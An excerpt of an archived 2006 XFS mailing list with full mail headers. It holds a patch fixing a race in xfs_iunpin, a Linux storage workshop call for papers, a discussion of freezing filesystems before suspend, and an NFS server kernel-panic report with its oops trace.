(SGI-8.12.5/8.12.5) with ESMTP id k9O7MG7Y15174634; Tue, 24 Oct 2006 17:22:16 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9O7ME3w15163277; Tue, 24 Oct 2006 17:22:14 +1000 (AEST) Date: Tue, 24 Oct 2006 17:22:14 +1000 From: David Chinner To: xfs@oss.sgi.com Cc: t-nagano@ah.jp.nec.com, xfs-dev@sgi.com Subject: [REVIEW 4 of 4] Fix race in xfs_iunpin Message-ID: <20061024072214.GU11034@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-archive-position: 9408 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O -- Dave Chinner Principal Engineer SGI Australian Software Group Close a race condition in xfs_iunpin() - we need to guarantee the atomicity of the last unpin and the checking of the XFS_IRECLAIM* flags otherwise pre-emption or interrupt can cause us to race with xfs_iget_core() which would now see the inode as unpinned and hence clear the XFS_IRECLAIMABLE flag. --- fs/xfs/xfs_inode.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.c 2006-10-19 10:26:01.983441994 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.c 2006-10-19 10:29:31.008384156 +1000 @@ -2741,7 +2741,7 @@ xfs_iunpin( { ASSERT(atomic_read(&ip->i_pincount) > 0); - if (atomic_dec_and_test(&ip->i_pincount)) { + if (atomic_dec_and_lock(&ip->i_pincount, &ip->i_flags_lock)) { /* * If the inode is currently being reclaimed, the link between @@ -2760,7 +2760,6 @@ xfs_iunpin( * unpinned. */ - spin_lock(&ip->i_flags_lock); if (!__xfs_iflags_test(ip, XFS_IRECLAIM|XFS_IRECLAIMABLE)) { bhv_vnode_t *vp = XFS_ITOV_NULL(ip); struct inode *inode = NULL; From owner-xfs@oss.sgi.com Tue Oct 24 04:22:40 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 04:22:53 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9OBMcaG016179 for ; Tue, 24 Oct 2006 04:22:40 -0700 X-ASG-Debug-ID: 1161688909-2759-45-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mexforward.lss.emc.com (mexforward.lss.emc.com [128.222.32.20]) by cuda.sgi.com (Spam Firewall) with ESMTP id 11B284CB958 for ; Tue, 24 Oct 2006 04:21:49 -0700 (PDT) Received: from mailhub.lss.emc.com (nagas.lss.emc.com [10.254.144.11]) by mexforward.lss.emc.com (Switch-3.1.8/Switch-3.1.7) with ESMTP id k9OBIYnT019025; Tue, 24 Oct 2006 07:18:34 -0400 (EDT) Received: from [10.4.10.51] ([10.4.10.51]) by mailhub.lss.emc.com (Switch-3.1.8/Switch-3.1.7) with ESMTP id k9OBIU8l028215; Tue, 24 Oct 2006 07:18:31 -0400 (EDT) Message-ID: <453DF685.9010808@emc.com> Date: Tue, 24 Oct 2006 07:18:29 -0400 From: Ric Wheeler User-Agent: Mozilla Thunderbird 1.0.7 (X11/20050923) X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, reiserfs-list@namesys.com, ext2-devel@lists.sourceforge.net, linux-ide@vger.kernel.org, ocfs2-devel@oss.oracle.com, linux-scsi@vger.kernel.org CC: lsf07pc@usenix.org, linux-ext4@vger.kernel.org X-ASG-Orig-Subj: Linux 2007 File System & IO Workshop Subject: Linux 2007 File System & IO Workshop Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-PMX-Version: 4.7.1.128075, Antispam-Engine: 2.4.0.264935, Antispam-Data: 2006.10.24.35432 X-PerlMx-Spam: Gauge=, SPAM=0%, Reasons='EMC_BODY_1+ -3, EMC_FROM_0+ -2, __CP_URI_IN_BODY 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __USER_AGENT 0' X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23974 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9409 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: ric@emc.com Precedence: bulk X-list: xfs Status: O Just a quick update, the submission process is now open through the usenix hosted url below. Please note that usenix is just helping us coordinate the site, no need to belong to usenix to attend. http://www.usenix.org/events/lsf07/ Full details on the workshops below, ric 2007 Linux Storage & Filesystem Workshop Call for Papers 2007 Linux Storage & Filesystem Workshop February 12-13, 2007 San Jose, CA Sponsored by USENIX, The Advanced Computing Systems Association Co-located with the 5th USENIX Conference on File and Storage Technologies (FAST '07), which will take place February 13-16, 2007. Important Dates Submissions due: November 24, 2006 Notification of acceptance: December 15, 2006 Workshop Organizers Program Chair Ric Wheeler, EMC Program Committee Jens Axboe, Oracle James Bottomley, SteelEye Valerie Henson, Intel Andrew Morton, Google Trond Myklebust, Network Appliance Brian Pawlowski, Network Appliance Theodore Ts'o, IBM Overview The Linux Storage and Filesystem Workshop is a small, tightly focused, by-invitation workshop. It is intended to bring together developers and researchers interested in implementing improvements in the Linux filesystem and storage subsystems that can find their way into the mainline kernel and into Linux distributions in the 2-3-year timeframe. The workshop will be two days, the second day overlapping with FAST '07 tutorials. The workshop will be separated into storage and filesystem tracks, with a combined plenary session. Topics and Submissions Researchers and developers who are interested in attending should submit a 2-3-paragraph position paper that describes the topic or topics they would like to discuss during the workshop, and whether such a topic would suit the filesystem track, the storage track, or the plenary session. Examples of topics of interest include: * New trends in storage technologies likely to impact Linux in the next 3-5 years * More realistic methods of measuring filesystem and storage performance * Proposed improvements to Linux filesystems, including, in particular: o Handling of storage errors o Filesystem repair techniques o Scaling to very large (terabyte) filesystems * Progress reports on implementation of features discussed at the Portland Filesystem Summit * Changes to the interface between the operating system and storage devices * Proposed improvements to existing Linux storage subsystems, particularly with an emphasis on: o Refactoring common code out of storage subsystems and into the block layer o Better robustness and error recovery o Barrier implementations in the face of TCQ o Making use of storage capabilities (such as block guard or non-power-of-2 block sizes) for novel filesystem and application features * Progress reports on implementation of features discussed at the Vancouver Storage Summit * Userspace tools for managing storage systems (including better presentation to the user via sysfs) * Storage futures, including: o New transports o Changes to existing standards for new storage features o SAS/SATA convergence o Do we yet have a use for Object-Based Storage Devices (OSD)? Submissions must be in plain text and must be submitted via the Web submission form, which will be available here soon. The submissions are intended as discussion topic proposals, not refereed papers. From owner-xfs@oss.sgi.com Tue Oct 24 07:45:56 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 07:46:05 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9OEjoaG007328 for ; Tue, 24 Oct 2006 07:45:53 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id AAA07230; Wed, 25 Oct 2006 00:44:59 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9OEir7Y15675455; Wed, 25 Oct 2006 00:44:55 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9OEikUb15663228; Wed, 25 Oct 2006 00:44:46 +1000 (AEST) Date: Wed, 25 Oct 2006 00:44:46 +1000 From: David Chinner To: "Rafael J. Wysocki" Cc: Nigel Cunningham , Andrew Morton , LKML , Pavel Machek , xfs@oss.sgi.com Subject: Re: [PATCH] Freeze bdevs when freezing processes. Message-ID: <20061024144446.GD11034@melbourne.sgi.com> References: <1161576735.3466.7.camel@nigel.suspend2.net> <200610231236.54317.rjw@sisk.pl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200610231236.54317.rjw@sisk.pl> User-Agent: Mutt/1.4.2.1i X-archive-position: 9410 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Mon, Oct 23, 2006 at 12:36:53PM +0200, Rafael J. Wysocki wrote: > On Monday, 23 October 2006 06:12, Nigel Cunningham wrote: > > XFS can continue to submit I/O from a timer routine, even after > > freezeable kernel and userspace threads are frozen. This doesn't seem to > > be an issue for current swsusp code, > > So it doesn't look like we need the patch _now_. > > > but is definitely an issue for Suspend2, where the pages being written could > > be overwritten by Suspend2's atomic copy. > > And IMO that's a good reason why we shouldn't use RCU pages for storing the > image. XFS is one known example that breaks things if we do so and > there may be more such things that we don't know of. The fact that they > haven't appeared in testing so far doesn't mean they don't exist and > moreover some things like that may appear in the future. Could you please tell us which XFS bits are broken so we can get them fixed? The XFS daemons should all be checking if they are supposed to freeze (i.e. they call try_to_freeze() after they wake up due to timer expiry) so I thought they were doing the right thing. However, I have to say that I agree with freezing the filesystems before suspend - at least XFS will be in a consistent state that can be recovered from without corruption if your machine fails to resume.... Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Tue Oct 24 09:34:45 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 09:34:55 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9OGYfaG025798 for ; Tue, 24 Oct 2006 09:34:44 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id CAA09789; Wed, 25 Oct 2006 02:33:54 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9OGXn7Y15822566; Wed, 25 Oct 2006 02:33:50 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9OGXj2F15834027; Wed, 25 Oct 2006 02:33:45 +1000 (AEST) Date: Wed, 25 Oct 2006 02:33:45 +1000 From: David Chinner To: "Rafael J. Wysocki" Cc: David Chinner , Nigel Cunningham , Andrew Morton , LKML , Pavel Machek , xfs@oss.sgi.com Subject: Re: [PATCH] Freeze bdevs when freezing processes. Message-ID: <20061024163345.GG11034@melbourne.sgi.com> References: <1161576735.3466.7.camel@nigel.suspend2.net> <200610231236.54317.rjw@sisk.pl> <20061024144446.GD11034@melbourne.sgi.com> <200610241730.00488.rjw@sisk.pl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200610241730.00488.rjw@sisk.pl> User-Agent: Mutt/1.4.2.1i X-archive-position: 9411 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Tue, Oct 24, 2006 at 05:29:59PM +0200, Rafael J. Wysocki wrote: > On Tuesday, 24 October 2006 16:44, David Chinner wrote: > > On Mon, Oct 23, 2006 at 12:36:53PM +0200, Rafael J. Wysocki wrote: > > > On Monday, 23 October 2006 06:12, Nigel Cunningham wrote: > > > > XFS can continue to submit I/O from a timer routine, even after > > > > freezeable kernel and userspace threads are frozen. This doesn't seem to > > > > be an issue for current swsusp code, > > > > > > So it doesn't look like we need the patch _now_. > > > > > > > but is definitely an issue for Suspend2, where the pages being written could > > > > be overwritten by Suspend2's atomic copy. > > > > > > And IMO that's a good reason why we shouldn't use RCU pages for storing the > > > image. XFS is one known example that breaks things if we do so and > > > there may be more such things that we don't know of. The fact that they > > > haven't appeared in testing so far doesn't mean they don't exist and > > > moreover some things like that may appear in the future. > > > > Could you please tell us which XFS bits are broken so we can get > > them fixed? The XFS daemons should all be checking if they are > > supposed to freeze (i.e. they call try_to_freeze() after they wake > > up due to timer expiry) so I thought they were doing the right > > thing. > > > > However, I have to say that I agree with freezing the filesystems > > before suspend - at least XFS will be in a consistent state that can > > be recovered from without corruption if your machine fails to > > resume.... > > Do you mean calling sys_sync() after the userspace has been frozen > may not be sufficient? In most cases it probably is, but sys_sync() doesn't provide any guarantees that the filesystem is not being used or written to after it completes. Given that every so often I hear about an XFS filesystem that was corrupted by suspend, I don't think this is sufficient... Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Tue Oct 24 09:41:10 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 09:41:20 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9OGf8aG027407 for ; Tue, 24 Oct 2006 09:41:10 -0700 X-ASG-Debug-ID: 1161703880-390-407-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ogre.sisk.pl (ogre.sisk.pl [217.79.144.158]) by cuda.sgi.com (Spam Firewall) with ESMTP id 87A69D1A56E6 for ; Tue, 24 Oct 2006 08:31:20 -0700 (PDT) Received: from localhost (localhost.localdomain [127.0.0.1]) by ogre.sisk.pl (Postfix) with ESMTP id AD0741EA19; Tue, 24 Oct 2006 17:23:06 +0200 (CEST) Received: from ogre.sisk.pl ([127.0.0.1]) by localhost (ogre.sisk.pl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 14610-02; Tue, 24 Oct 2006 17:23:06 +0200 (CEST) Received: from albercik.fuw.edu.pl (albercik.fuw.edu.pl [193.0.83.66]) (using SSLv3 with cipher EXP1024-RC4-SHA (56/128 bits)) (No client certificate requested) by ogre.sisk.pl (Postfix) with ESMTP id 1BA2C14E13; Tue, 24 Oct 2006 17:23:06 +0200 (CEST) From: "Rafael J. Wysocki" To: David Chinner X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. Date: Tue, 24 Oct 2006 17:29:59 +0200 User-Agent: KMail/1.9.1 Cc: Nigel Cunningham , Andrew Morton , LKML , Pavel Machek , xfs@oss.sgi.com References: <1161576735.3466.7.camel@nigel.suspend2.net> <200610231236.54317.rjw@sisk.pl> <20061024144446.GD11034@melbourne.sgi.com> In-Reply-To: <20061024144446.GD11034@melbourne.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200610241730.00488.rjw@sisk.pl> X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23988 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9412 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: rjw@sisk.pl Precedence: bulk X-list: xfs Status: O On Tuesday, 24 October 2006 16:44, David Chinner wrote: > On Mon, Oct 23, 2006 at 12:36:53PM +0200, Rafael J. Wysocki wrote: > > On Monday, 23 October 2006 06:12, Nigel Cunningham wrote: > > > XFS can continue to submit I/O from a timer routine, even after > > > freezeable kernel and userspace threads are frozen. This doesn't seem to > > > be an issue for current swsusp code, > > > > So it doesn't look like we need the patch _now_. > > > > > but is definitely an issue for Suspend2, where the pages being written could > > > be overwritten by Suspend2's atomic copy. > > > > And IMO that's a good reason why we shouldn't use RCU pages for storing the > > image. XFS is one known example that breaks things if we do so and > > there may be more such things that we don't know of. The fact that they > > haven't appeared in testing so far doesn't mean they don't exist and > > moreover some things like that may appear in the future. > > Could you please tell us which XFS bits are broken so we can get > them fixed? The XFS daemons should all be checking if they are > supposed to freeze (i.e. they call try_to_freeze() after they wake > up due to timer expiry) so I thought they were doing the right > thing. > > However, I have to say that I agree with freezing the filesystems > before suspend - at least XFS will be in a consistent state that can > be recovered from without corruption if your machine fails to > resume.... Do you mean calling sys_sync() after the userspace has been frozen may not be sufficient? Greetings, Rafael -- You never change things by fighting the existing reality. R. Buckminster Fuller From owner-xfs@oss.sgi.com Tue Oct 24 09:52:18 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 09:52:27 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9OGqHaG029961 for ; Tue, 24 Oct 2006 09:52:18 -0700 X-ASG-Debug-ID: 1161704894-3845-238-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from postal1.et.byu.edu (postal1.et.byu.edu [128.187.48.11]) by cuda.sgi.com (Spam Firewall) with ESMTP id 0F4064D19FA for ; Tue, 24 Oct 2006 08:48:14 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by postal1.et.byu.edu (Postfix) with ESMTP id E41A751BA8; Tue, 24 Oct 2006 09:48:07 -0600 (MDT) Received: from postal1.et.byu.edu ([127.0.0.1]) by localhost (postal1.et.byu.edu [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 22318-06; Tue, 24 Oct 2006 09:48:07 -0600 (MDT) Received: from lewis.et.byu.edu (lewis.et.byu.edu [10.5.113.201]) by postal1.et.byu.edu (Postfix) with ESMTP id 74CFB4C11A; Tue, 24 Oct 2006 09:48:07 -0600 (MDT) Date: Tue, 24 Oct 2006 09:48:07 -0600 (MDT) From: David Dougall To: nfs@lists.sourceforge.net, xfs@oss.sgi.com X-ASG-Orig-Subj: kernel panic after upgrading to 2.6 Subject: kernel panic after upgrading to 2.6 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_RULE7568M X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23990 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_RULE7568M BODY: Custom Rule 7568M X-archive-position: 9413 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: davidd@et.byu.edu Precedence: bulk X-list: xfs Status: O I am running kernel 2.6.18 after trying 2.6.17.6 and 2.6.17.13 with similar results. I continue to have nfs servers kernel panic on a very regular basis, every few days. Sometimes I need to do an xfs_repair to get the filesystem to remount. I got the following kernel panic message from the syslog this time: Message from syslogd@nfs09 at Tue Oct 24 09:35:14 2006 ... nfs09 kernel: Oops: 0000 [#1] Message from syslogd@nfs09 at Tue Oct 24 09:35:14 2006 ... nfs09 kernel: CPU: 0 Message from syslogd@nfs09 at Tue Oct 24 09:35:14 2006 ... nfs09 kernel: EIP is at xfs_alloc_fix_freelist+0x20/0x486 Message from syslogd@nfs09 at Tue Oct 24 09:35:14 2006 ... nfs09 kernel: eax: f7dbb000 ebx: 0009a000 ecx: 00000016 edx: f8cc8c20 Message from syslogd@nfs09 at Tue Oct 24 09:35:14 2006 ... nfs09 kernel: esi: 00000016 edi: edab7c90 ebp: d8fd8b64 esp: edab7bd0 Message from syslogd@nfs09 at Tue Oct 24 09:35:15 2006 ... nfs09 kernel: ds: 007b es: 007b ss: 0068 Message from syslogd@nfs09 at Tue Oct 24 09:35:15 2006 ... nfs09 kernel: Process nfsd (pid: 4837, ti=edab6000 task=eda8f030 task.ti=edab6000) Message from syslogd@nfs09 at Tue Oct 24 09:35:15 2006 ... nfs09 kernel: Stack: 00000000 00001a9a 00000009 00000200 00000002 c026fffe f0995b80 f7dbb000 Message from syslogd@nfs09 at Tue Oct 24 09:35:15 2006 ... nfs09 kernel: d8fd8b64 f8cc8c20 c0225507 fffffffe 00000000 0000000b 00000000 00000000 Message from syslogd@nfs09 at Tue Oct 24 09:35:15 2006 ... nfs09 kernel: d8fd8b64 f7dbb000 c0226fef 00000001 00000001 00000000 00000000 0000000b Message from syslogd@nfs09 at Tue Oct 24 09:35:15 2006 ... nfs09 kernel: Call Trace: Message from syslogd@nfs09 at Tue Oct 24 09:35:16 2006 ... nfs09 kernel: Code: 24 04 46 06 00 00 e9 9f fe ff ff 55 57 56 53 81 ec 8c 00 00 00 89 c7 89 54 24 10 8b 40 04 89 44 24 1c 8b 57 0c 89 54 24 24 8b 2f <80> 3a 00 0f 84 e7 02 00 00 c7 84 24 88 00 00 00 00 00 00 00 8b Message from syslogd@nfs09 at Tue Oct 24 09:35:16 2006 ... nfs09 kernel: EIP: [] xfs_alloc_fix_freelist+0x20/0x486 SS:ESP 0068:edab7bd0 I am guessing this is an xfs bug, but I am not sure. Would anybody please confirm this form me. I am running nfs-utils-1.0.9 and xfsprogs 2.8.10. If there is any more information you need, please let me know. Please advise. --David Dougall From owner-xfs@oss.sgi.com Tue Oct 24 10:13:20 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 10:13:29 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9OHDJaG002538 for ; Tue, 24 Oct 2006 10:13:20 -0700 X-ASG-Debug-ID: 1161709954-3988-720-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by cuda.sgi.com (Spam Firewall) with ESMTP id D392CD1A65BD for ; Tue, 24 Oct 2006 10:12:34 -0700 (PDT) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id k9OHBjXl026602; Tue, 24 Oct 2006 13:11:45 -0400 Received: from pobox-2.corp.redhat.com (pobox-2.corp.redhat.com [10.11.255.15]) by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id k9OHBjrM006472; Tue, 24 Oct 2006 13:11:45 -0400 Received: from [10.15.80.10] (neon.msp.redhat.com [10.15.80.10]) by pobox-2.corp.redhat.com (8.13.1/8.13.1) with ESMTP id k9OHBi26032075; Tue, 24 Oct 2006 13:11:44 -0400 Message-ID: <453E494F.8080808@sandeen.net> Date: Tue, 24 Oct 2006 12:11:43 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: David Dougall CC: nfs@lists.sourceforge.net, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: kernel panic after upgrading to 2.6 Subject: Re: kernel panic after upgrading to 2.6 References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23995 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9414 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O David Dougall wrote: > I am running kernel 2.6.18 after trying 2.6.17.6 and 2.6.17.13 with > similar results. I continue to have nfs servers kernel panic on a very > regular basis, every few days. Sometimes I need to do an xfs_repair to > get the filesystem to remount. I got the following kernel panic message > from the syslog this time: > Message from syslogd@nfs09 at Tue Oct 24 09:35:14 2006 ... > nfs09 kernel: Oops: 0000 [#1] If you ran 2.6.17 < 2.6.17.7, there was a bug: http://oss.sgi.com/projects/xfs/faq.html#dir2 I would suggest getting xfsprogs v. 2.8.10 or newer, as referenced in the faq, repair your filesystem, and see if the problem is resolved. -Eric From owner-xfs@oss.sgi.com Tue Oct 24 10:15:10 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 10:15:17 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9OHFAaG003261 for ; Tue, 24 Oct 2006 10:15:10 -0700 X-ASG-Debug-ID: 1161710064-10183-728-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from postal1.et.byu.edu (postal1.et.byu.edu [128.187.48.11]) by cuda.sgi.com (Spam Firewall) with ESMTP id CF0DD4D07A1 for ; Tue, 24 Oct 2006 10:14:24 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by postal1.et.byu.edu (Postfix) with ESMTP id CCBE15207F; Tue, 24 Oct 2006 11:14:23 -0600 (MDT) Received: from postal1.et.byu.edu ([127.0.0.1]) by localhost (postal1.et.byu.edu [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 28355-07; Tue, 24 Oct 2006 11:14:23 -0600 (MDT) Received: from lewis.et.byu.edu (lewis.et.byu.edu [10.5.113.201]) by postal1.et.byu.edu (Postfix) with ESMTP id 31E5852074; Tue, 24 Oct 2006 11:14:22 -0600 (MDT) Date: Tue, 24 Oct 2006 11:14:22 -0600 (MDT) From: David Dougall To: Eric Sandeen Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: kernel panic after upgrading to 2.6 Subject: Re: kernel panic after upgrading to 2.6 In-Reply-To: <453E494F.8080808@sandeen.net> Message-ID: References: <453E494F.8080808@sandeen.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23994 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9415 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: davidd@et.byu.edu Precedence: bulk X-list: xfs Status: O I actually did see that bug report. That is why I have tried upgrading now a few times. I have run xfs_repair on all of my file systems since upgrading this past time and I still get kernel panics. I already have 2.8.10 as far as I can tell. 2.8.10-1 on debian. --David Dougall On Tue, 24 Oct 2006, Eric Sandeen wrote: > David Dougall wrote: > > I am running kernel 2.6.18 after trying 2.6.17.6 and 2.6.17.13 with > > similar results. I continue to have nfs servers kernel panic on a very > > regular basis, every few days. Sometimes I need to do an xfs_repair to > > get the filesystem to remount. I got the following kernel panic message > > from the syslog this time: > > Message from syslogd@nfs09 at Tue Oct 24 09:35:14 2006 ... > > nfs09 kernel: Oops: 0000 [#1] > > If you ran 2.6.17 < 2.6.17.7, there was a bug: > > http://oss.sgi.com/projects/xfs/faq.html#dir2 > > I would suggest getting xfsprogs v. 2.8.10 or newer, as referenced in > the faq, repair your filesystem, and see if the problem is resolved. > > -Eric > > > From owner-xfs@oss.sgi.com Tue Oct 24 10:41:07 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 10:41:23 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9OHf4aG009559 for ; Tue, 24 Oct 2006 10:41:07 -0700 X-ASG-Debug-ID: 1161707340-26379-921-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from raven.upol.cz (raven.upol.cz [158.194.120.4]) by cuda.sgi.com (Spam Firewall) with ESMTP id AE4FDD1A71E5; Tue, 24 Oct 2006 09:29:00 -0700 (PDT) Received: from smtpgate (antivir1.upol.cz [158.194.108.127]) by raven.upol.cz (AIX4.3/8.9.3/8.9.3) with SMTP id RAA80116; Tue, 24 Oct 2006 17:29:04 +0100 Received: from flower (flower.upol.cz [158.194.64.22]) by smtpgate ([158.194.108.127]:25) (F-Secure Anti-Virus for Internet Mail 6.50.60 Release) with SMTP; Tue, 24 Oct 2006 16:20:31 -0000 (envelope-from ) Received: from olecom by flower with local (Exim 4.63) (envelope-from ) id 1GcP7N-0007Rw-JA; Tue, 24 Oct 2006 16:27:09 +0000 To: "Rafael J. Wysocki" , David Chinner , Nigel Cunningham , Andrew Morton , Pavel Machek , xfs@oss.sgi.com, Oleg Verych X-Posted-To: gmane.linux.kernel X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. References: 